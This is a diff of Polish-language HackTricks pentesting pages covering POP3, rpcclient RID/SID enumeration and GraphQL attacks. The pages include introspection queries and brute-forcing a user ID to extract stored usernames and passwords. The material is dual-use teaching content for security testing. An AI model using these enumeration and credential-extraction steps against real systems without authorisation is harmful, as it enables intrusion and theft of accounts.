@ -22,7 +22,7 @@
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Protokół pocztowy (POP)** jest opisany jako protokół w dziedzinie sieci komputerowych i Internetu, który jest wykorzystywany do pobierania i **odzyskiwania poczty e-mail z zdalnego serwera poczty**, umożliwiając dostęp do niej na urządzeniu lokalnym. Umieszczony w warstwie aplikacji modelu OSI, ten protokół umożliwia użytkownikom pobieranie i odbieranie e-maili. Działanie **klientów POP** zazwyczaj polega na nawiązaniu połączenia z serwerem poczty, pobraniu wszystkich wiadomości, przechowywaniu tych wiadomości lokalnie na systemie klienta, a następnie ich usunięciu z serwera. Chociaż istnieją trzy wersje tego protokołu, **POP3** wyróżnia się jako najczęściej stosowana wersja.
|
||||
**Protokół poczty elektronicznej (POP)** jest opisany jako protokół w dziedzinie sieci komputerowych i Internetu, który jest wykorzystywany do pobierania i **odzyskiwania e-maili z zdalnego serwera poczty**, umożliwiając dostęp do nich na urządzeniu lokalnym. Umieszczony w warstwie aplikacji modelu OSI, ten protokół umożliwia użytkownikom pobieranie i odbieranie e-maili. Działanie **klientów POP** zazwyczaj polega na nawiązaniu połączenia z serwerem poczty, pobraniu wszystkich wiadomości, przechowywaniu tych wiadomości lokalnie na systemie klienta, a następnie ich usunięciu z serwera. Chociaż istnieją trzy wersje tego protokołu, **POP3** wyróżnia się jako najczęściej stosowana wersja.
|
||||
|
||||
**Domyślne porty:** 110, 995(ssl)
|
||||
```
|
||||
|
@ -93,21 +93,21 @@ password: PA$$W0RD!Z
|
|||
|
||||
Z [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
|
||||
|
||||
| **Ustawienie** | **Opis** |
|
||||
| **Ustawienie** | **Opis** |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | Włącza wszystkie logowania debugowania uwierzytelniania. |
|
||||
| `auth_debug_passwords` | To ustawienie dostosowuje szczegółowość logowania, zalogowane są przesłane hasła i schemat. |
|
||||
| `auth_verbose` | Rejestruje nieudane próby uwierzytelnienia i ich przyczyny. |
|
||||
| `auth_verbose_passwords` | Hasła używane do uwierzytelnienia są rejestrowane i mogą być również ucinane. |
|
||||
| `auth_debug` | Włącza wszystkie logowania debugowania uwierzytelniania. |
|
||||
| `auth_debug_passwords` | To ustawienie dostosowuje szczegółowość logów, zalogowane są przesłane hasła i schemat. |
|
||||
| `auth_verbose` | Rejestruje nieudane próby uwierzytelnienia i ich przyczyny. |
|
||||
| `auth_verbose_passwords` | Hasła używane do uwierzytelnienia są rejestrowane i mogą być również ucięte. |
|
||||
| `auth_anonymous_username` | Określa nazwę użytkownika do użycia podczas logowania za pomocą mechanizmu ANONYMOUS SASL. |
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatyczne Komendy
|
||||
## Automatyczne polecenia HackTricks
|
||||
```
|
||||
Protocol_Name: POP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 110 #Comma separated if there is more than one.
|
||||
|
@ -153,10 +153,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
|
|||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? A może chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -14,7 +14,7 @@
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -25,14 +25,14 @@
|
|||
**Identyfikatory Względne (RID)** i **Identyfikatory Bezpieczeństwa (SID)** są kluczowymi składnikami systemów operacyjnych Windows do unikatowej identyfikacji i zarządzania obiektami, takimi jak użytkownicy i grupy, w domenie sieciowej.
|
||||
|
||||
- **SID** służą jako unikatowe identyfikatory domen, zapewniając odróżnialność każdej domeny.
|
||||
- **RID** są dołączane do SID w celu utworzenia unikatowych identyfikatorów obiektów w tych domenach. Ta kombinacja pozwala na precyzyjne śledzenie i zarządzanie uprawnieniami obiektów oraz kontrolą dostępu.
|
||||
- **RID** są dołączane do SID w celu utworzenia unikatowych identyfikatorów dla obiektów w tych domenach. Ta kombinacja pozwala na precyzyjne śledzenie i zarządzanie uprawnieniami obiektów oraz kontrolami dostępu.
|
||||
|
||||
Na przykład użytkownik o nazwie `pepe` może mieć unikatowy identyfikator łączący SID domeny z jego konkretnym RID, reprezentowany zarówno w formacie szesnastkowym (`0x457`), jak i dziesiętnym (`1111`). To skutkuje kompletnym i unikatowym identyfikatorem dla pepe w obrębie domeny, np.: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
|
||||
|
||||
### **Wyliczanie za pomocą rpcclient**
|
||||
### **Wyliczanie przy użyciu rpcclient**
|
||||
|
||||
Użyteczność narzędzia **`rpcclient`** z Samba polega na interakcji z **punktem końcowym RPC poprzez nazwane potoki**. Poniżej przedstawione są polecenia, które można wydać do interfejsów SAMR, LSARPC i LSARPC-DS po **ustanowieniu sesji SMB**, często wymagającej poświadczeń.
|
||||
Użyteczność **`rpcclient`** z Samba jest wykorzystywana do interakcji z **punktem końcowym RPC poprzez nazwane potoki**. Poniżej przedstawione są polecenia, które można wydać do interfejsów SAMR, LSARPC i LSARPC-DS po ustanowieniu **sesji SMB**, często wymagającej poświadczeń.
|
||||
|
||||
#### Informacje o Serwerze
|
||||
|
||||
|
@ -67,8 +67,8 @@ done
|
|||
#### Wyliczanie Domen
|
||||
|
||||
* **Domeny** za pomocą: `enumdomains`.
|
||||
* **SID domeny jest pobierane** za pomocą: `lsaquery`.
|
||||
* **Informacje o domenie są uzyskiwane** za pomocą: `querydominfo`.
|
||||
* **SID domeny jest pobierany** za pomocą: `lsaquery`.
|
||||
* **Informacje o domenie są uzyskiwane** poprzez: `querydominfo`.
|
||||
|
||||
#### Wyliczanie Zasobów
|
||||
|
||||
|
@ -79,7 +79,7 @@ done
|
|||
|
||||
* **SIDs według nazwy** za pomocą: `lookupnames <username>`.
|
||||
* **Więcej SIDs** poprzez: `lsaenumsid`.
|
||||
* **Cykliczne sprawdzanie RID w celu sprawdzenia więcej SIDs** jest wykonywane za pomocą: `lookupsids <sid>`.
|
||||
* **Cykliczne sprawdzanie RID w celu sprawdzenia większej liczby SIDs** jest wykonywane za pomocą: `lookupsids <sid>`.
|
||||
|
||||
#### **Dodatkowe polecenia**
|
||||
|
||||
|
@ -93,7 +93,7 @@ done
|
|||
| createdomuser | Utwórz użytkownika domeny | |
|
||||
| deletedomuser | Usuń użytkownika domeny | |
|
||||
| lookupnames | LSARPC | Wyszukaj nazwy użytkowników do wartości SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
|
||||
| lookupsids | Wyszukaj SIDs do nazw użytkowników (Cykliczne sprawdzanie RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||
| lookupsids | Wyszukaj SIDs do nazw użytkowników (cykliczne RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||
| lsaaddacctrights | Dodaj prawa do konta użytkownika | |
|
||||
| lsaremoveacctrights | Usuń prawa z konta użytkownika | |
|
||||
| dsroledominfo | LSARPC-DS | Uzyskaj informacje o głównej domenie |
|
||||
|
@ -103,7 +103,7 @@ Aby **lepiej zrozumieć** jak działają narzędzia _**samrdump**_ **i** _**rpcd
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -111,7 +111,7 @@ Aby **lepiej zrozumieć** jak działają narzędzia _**samrdump**_ **i** _**rpcd
|
|||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -6,40 +6,40 @@
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Wprowadzenie
|
||||
|
||||
GraphQL jest **wyróżniany** jako **efektywna alternatywa** dla interfejsu REST API, oferując uproszczone podejście do pobierania danych z backendu. W przeciwieństwie do REST, który często wymaga wielu żądań do różnych punktów końcowych w celu zebrania danych, GraphQL umożliwia pobranie wszystkich wymaganych informacji za pomocą **jednego żądania**. To uproszczenie znacznie **ułatwia programistom** proces pobierania danych.
|
||||
GraphQL jest **wyróżniany** jako **efektywna alternatywa** dla interfejsu API REST, oferując uproszczone podejście do pobierania danych z backendu. W przeciwieństwie do REST, który często wymaga wielu żądań do różnych punktów końcowych w celu zebrania danych, GraphQL umożliwia pobranie wszystkich wymaganych informacji za pomocą **jednego żądania**. Ten proces usprawnia znacznie pracę programistów, zmniejszając złożoność ich procesów pobierania danych.
|
||||
|
||||
## GraphQL i bezpieczeństwo
|
||||
## GraphQL a Bezpieczeństwo
|
||||
|
||||
Wraz z pojawieniem się nowych technologii, w tym GraphQL, pojawiają się również nowe podatności bezpieczeństwa. Ważnym punktem do zauważenia jest to, że **GraphQL nie zawiera domyślnie mechanizmów uwierzytelniania**. Odpowiedzialność za wdrożenie takich środków bezpieczeństwa spoczywa na programistach. Bez odpowiedniego uwierzytelnienia punkty końcowe GraphQL mogą ujawniać poufne informacje nieuwierzytelnionym użytkownikom, stwarzając znaczne ryzyko bezpieczeństwa.
|
||||
Wraz z pojawieniem się nowych technologii, w tym GraphQL, pojawiają się również nowe podatności bezpieczeństwa. Istotnym punktem jest to, że **GraphQL nie zawiera domyślnie mechanizmów uwierzytelniania**. Odpowiedzialność za wdrożenie takich środków bezpieczeństwa spoczywa na programistach. Bez odpowiedniego uwierzytelnienia punkty końcowe GraphQL mogą ujawniać poufne informacje nieuwierzytelnionym użytkownikom, stanowiąc znaczne ryzyko bezpieczeństwa.
|
||||
|
||||
### Ataki siłowe na katalogi i GraphQL
|
||||
### Ataki Brute Force na Katalogi i GraphQL
|
||||
|
||||
Aby zidentyfikować wystawione instancje GraphQL, zaleca się uwzględnienie określonych ścieżek w atakach siłowych na katalogi. Są to ścieżki:
|
||||
Aby zidentyfikować wystawione instancje GraphQL, zaleca się uwzględnienie określonych ścieżek w atakach brute force na katalogi. Te ścieżki to:
|
||||
|
||||
- `/graphql`
|
||||
- `/graphiql`
|
||||
- `/graphql.php`
|
||||
- `/graphql/console`
|
||||
- `/api`
|
||||
- `/api/graphql`
|
||||
- `/graphql/api`
|
||||
- `/graphql/graphql`
|
||||
* `/graphql`
|
||||
* `/graphiql`
|
||||
* `/graphql.php`
|
||||
* `/graphql/console`
|
||||
* `/api`
|
||||
* `/api/graphql`
|
||||
* `/graphql/api`
|
||||
* `/graphql/graphql`
|
||||
|
||||
Zidentyfikowanie otwartych instancji GraphQL umożliwia zbadanie obsługiwanych zapytań. Jest to kluczowe dla zrozumienia danych dostępnych za pośrednictwem punktu końcowego. System introspekcji GraphQL ułatwia to, podając szczegóły dotyczące obsługiwanych zapytań schematu. Aby uzyskać więcej informacji na ten temat, odwołaj się do dokumentacji GraphQL na temat introspekcji: [**GraphQL: Język zapytań dla interfejsów API.**](https://graphql.org/learn/introspection/)
|
||||
Zidentyfikowanie otwartych instancji GraphQL umożliwia sprawdzenie obsługiwanych zapytań. Jest to kluczowe dla zrozumienia danych dostępnych poprzez punkt końcowy. System introspekcji GraphQL ułatwia to, szczegółowo opisując zapytania obsługiwane przez schemat. Aby uzyskać więcej informacji na ten temat, zapoznaj się z dokumentacją GraphQL dotyczącą introspekcji: [**GraphQL: Język zapytań dla interfejsów API.**](https://graphql.org/learn/introspection/)
|
||||
|
||||
### Odcisk palca
|
||||
|
||||
Narzędzie [**graphw00f**](https://github.com/dolevf/graphw00f) jest w stanie wykryć, jakie silniki GraphQL są używane na serwerze, a następnie wyświetla niektóre pomocne informacje dla audytora bezpieczeństwa.
|
||||
Narzędzie [**graphw00f**](https://github.com/dolevf/graphw00f) jest zdolne do wykrywania, który silnik GraphQL jest używany na serwerze, a następnie wyświetla przydatne informacje dla audytora bezpieczeństwa.
|
||||
|
||||
#### Uniwersalne zapytania <a href="#universal-queries" id="universal-queries"></a>
|
||||
|
||||
|
@ -47,9 +47,9 @@ Aby sprawdzić, czy dany URL jest usługą GraphQL, można wysłać **uniwersaln
|
|||
```javascript
|
||||
query{__typename}
|
||||
```
|
||||
### Podstawowe wyliczanie
|
||||
### Podstawowa enumeracja
|
||||
|
||||
Graphql zazwyczaj obsługuje metody **GET**, **POST** (x-www-form-urlencoded) i **POST**(json). Chociaż w celu zwiększenia bezpieczeństwa zaleca się zezwalać tylko na json, aby zapobiec atakom CSRF.
|
||||
GraphQL zazwyczaj obsługuje **GET**, **POST** (x-www-form-urlencoded) i **POST**(json). Chociaż ze względów bezpieczeństwa zaleca się zezwalać tylko na json, aby zapobiec atakom CSRF.
|
||||
|
||||
#### Introspekcja
|
||||
|
||||
|
@ -57,7 +57,7 @@ Aby użyć introspekcji do odkrywania informacji o schemacie, zapytaj pole `__sc
|
|||
```bash
|
||||
query={__schema{types{name,fields{name}}}}
|
||||
```
|
||||
Za pomocą tego zapytania znajdziesz nazwę wszystkich używanych typów:
|
||||
Z tym zapytaniem znajdziesz nazwę wszystkich używanych typów:
|
||||
|
||||
![](<../../.gitbook/assets/image (202).png>)
|
||||
|
||||
|
@ -67,20 +67,18 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Za pomocą tego zapytania możesz wyodrębnić wszystkie typy, ich pola i argumenty (oraz typ argumentów). Będzie to bardzo przydatne do poznania sposobu zapytywania bazy danych.
|
||||
Z tym zapytaniem możesz wydobyć wszystkie typy, ich pola i argumenty (oraz typ argumentów). Będzie to bardzo przydatne, aby wiedzieć, jak zapytać bazę danych.
|
||||
|
||||
![](<../../.gitbook/assets/image (207) (3).png>)
|
||||
|
||||
**Błędy**
|
||||
|
||||
Warto wiedzieć, czy **błędy** będą **wyświetlane**, ponieważ przyczynią się one do dostarczenia przydatnych **informacji**.
|
||||
Warto wiedzieć, czy **błędy** zostaną **wyświetlone**, ponieważ przyczynią się do uzyskania przydatnych **informacji**.
|
||||
```
|
||||
?query={__schema}
|
||||
?query={}
|
||||
?query={thisdefinitelydoesnotexist}
|
||||
```
|
||||
![](<../../.gitbook/assets/image (205) (1).png>)
|
||||
|
||||
**Wylicz schemat bazy danych za pomocą introspekcji**
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -175,25 +173,25 @@ name
|
|||
}
|
||||
}
|
||||
```
|
||||
Zapytanie o introspekcję w linii:
|
||||
Zapytanie o inspekcję w linii:
|
||||
```
|
||||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||||
```
|
||||
Ostatnia linia kodu to zapytanie graphql, które wyświetli wszystkie metadane z graphql (nazwy obiektów, parametry, typy...)
|
||||
Ostatnia linia kodu to zapytanie graphql, które wyciągnie wszystkie metadane z graphql (nazwy obiektów, parametry, typy...)
|
||||
|
||||
![](<../../.gitbook/assets/image (206).png>)
|
||||
|
||||
Jeśli introspekcja jest włączona, możesz użyć [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager), aby wyświetlić w GUI wszystkie opcje.
|
||||
Jeśli introspekcja jest włączona, możesz użyć [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager), aby zobaczyć w GUI wszystkie opcje.
|
||||
|
||||
### Zapytanie
|
||||
### Zapytywanie
|
||||
|
||||
Teraz, gdy wiemy, jakie informacje są przechowywane w bazie danych, spróbujmy **wydobyć niektóre wartości**.
|
||||
Teraz, gdy wiemy, jakie informacje są zapisane w bazie danych, spróbujmy **wydobyć pewne wartości**.
|
||||
|
||||
W introspekcji możesz znaleźć **który obiekt możesz bezpośrednio zapytać** (ponieważ nie możesz zapytać obiektu tylko dlatego, że istnieje). Na poniższym obrazku możesz zobaczyć, że "_queryType_" nazywa się "_Query_" i że jednym z pól obiektu "_Query_" jest "_flags_", który również jest typem obiektu. Dlatego możesz zapytać obiekt flagi.
|
||||
|
||||
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png)
|
||||
|
||||
Zauważ, że typ zapytania "_flags_" to "_Flags_", a ten obiekt jest zdefiniowany jak poniżej:
|
||||
Zauważ, że typ zapytania "_flags_" to "_Flags_", a ten obiekt jest zdefiniowany poniżej:
|
||||
|
||||
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png)
|
||||
|
||||
|
@ -201,48 +199,48 @@ Możesz zobaczyć, że obiekty "_Flags_" składają się z **nazwy** i **wartoś
|
|||
```javascript
|
||||
query={flags{name, value}}
|
||||
```
|
||||
Zauważ, że w przypadku, gdy **obiekt do zapytania** jest **typem prostym** jak **string** jak w poniższym przykładzie
|
||||
Zauważ, że w przypadku, gdy **obiekt do zapytania** jest **typem podstawowym** jak **string** jak w poniższym przykładzie
|
||||
|
||||
![](<../../.gitbook/assets/image (441).png>)
|
||||
|
||||
Możesz go po prostu zapytać:
|
||||
Możesz po prostu zapytać o to:
|
||||
```javascript
|
||||
query={hiddenFlags}
|
||||
```
|
||||
W innym przykładzie, gdzie w obiekcie typu "_Query_" były 2 obiekty: "_user_" i "_users_".\
|
||||
Jeśli te obiekty nie wymagają żadnego argumentu do wyszukiwania, można **pobrać wszystkie informacje z nich**, po prostu **pytając** o dane, których potrzebujesz. W tym przykładzie z Internetu można wydobyć zapisane nazwy użytkowników i hasła:
|
||||
W innym przykładzie, gdzie wewnątrz obiektu "_Query_" znajdowały się 2 obiekty: "_user_" i "_users_".\
|
||||
Jeśli te obiekty nie wymagają żadnego argumentu do wyszukiwania, można **pobrać wszystkie informacje z nich**, pytając o dane, których potrzebujesz. W tym przykładzie z Internetu można wydobyć zapisane nazwy użytkowników i hasła:
|
||||
|
||||
![](<../../.gitbook/assets/image (208).png>)
|
||||
|
||||
Jednak w tym przykładzie, jeśli spróbujesz to zrobić, otrzymasz ten **błąd**:
|
||||
Jednakże, w tym przykładzie, jeśli spróbujesz to zrobić, otrzymasz ten **błąd**:
|
||||
|
||||
![](<../../.gitbook/assets/image (210).png>)
|
||||
|
||||
Wygląda na to, że w jakiś sposób będzie wyszukiwać używając argumentu "_**uid**_" typu _**Int**_.\
|
||||
W każdym razie już to wiedzieliśmy, w sekcji [Podstawowe wyliczanie](graphql.md#basic-enumeration) zaproponowano zapytanie, które pokazywało nam wszystkie potrzebne informacje: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
Wygląda na to, że wyszukiwanie odbywa się za pomocą argumentu "_**uid**_" typu _**Int**_.\
|
||||
Tak czy inaczej, już wiedzieliśmy, że w sekcji [Podstawowa Enumeracja](graphql.md#basic-enumeration) zaproponowano zapytanie, które pokazywało nam wszystkie potrzebne informacje: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
|
||||
Jeśli przeczytasz dostarczone zdjęcie, gdy wykonuję to zapytanie, zobaczysz, że "_**user**_" miał argument "_**uid**_" typu _Int_.
|
||||
Jeśli przeczytasz dostarczone zdjęcie, gdy wykonasz to zapytanie, zobaczysz, że "_**user**_" miał **arg** "_**uid**_" typu _Int_.
|
||||
|
||||
Więc, wykonując lekkie bruteforce _**uid**_, odkryłem, że dla _**uid**=**1**_ została pobrana nazwa użytkownika i hasło:\
|
||||
`query={user(uid:1){user,password}}`
|
||||
|
||||
![](<../../.gitbook/assets/image (211).png>)
|
||||
|
||||
Zauważ, że **odkryłem**, że mogę pytać o parametry "_**user**_" i "_**password**_", ponieważ jeśli spróbuję znaleźć coś, czego nie ma (`query={user(uid:1){noExists}}`), otrzymuję ten błąd:
|
||||
Zauważ, że **odkryłem**, że mogę prosić o parametry "_**user**_" i "_**password**_", ponieważ jeśli spróbuję szukać czegoś, czego nie ma (`query={user(uid:1){noExists}}`), otrzymam ten błąd:
|
||||
|
||||
![](<../../.gitbook/assets/image (213).png>)
|
||||
|
||||
I podczas fazy **wyliczania** odkryłem, że obiekt "_**dbuser**_" miał pola "_**user**_" i "_**password**_.
|
||||
Podczas fazy **enumeracji** odkryłem, że obiekt "_**dbuser**_" miał pola "_**user**_" i "_**password**_.
|
